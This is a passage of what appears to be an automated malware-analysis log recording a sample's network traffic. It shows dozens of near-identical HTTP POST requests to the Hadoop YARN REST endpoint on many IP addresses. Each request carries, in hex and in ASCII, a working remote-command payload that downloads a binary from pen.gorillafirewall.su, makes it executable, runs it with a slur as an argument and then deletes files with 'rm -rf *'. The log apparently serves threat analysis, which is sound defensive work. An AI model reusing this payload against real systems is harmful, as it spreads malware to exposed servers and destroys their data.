20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 22.172.178.76:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 22.172.178.76:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 49.179.51.163:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 254.30.40.98:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 219.253.93.123:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 219.253.93.123:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 219.253.93.123:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 219.253.93.123:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 186.99.201.69:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 186.99.201.69:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 186.99.201.69:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 186.99.201.69:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 186.99.201.69:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 109.161.191.41:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 109.161.191.41:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 62.49.198.58:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 77.210.59.160:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 140.203.230.141:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 140.203.230.141:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 140.203.230.141:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 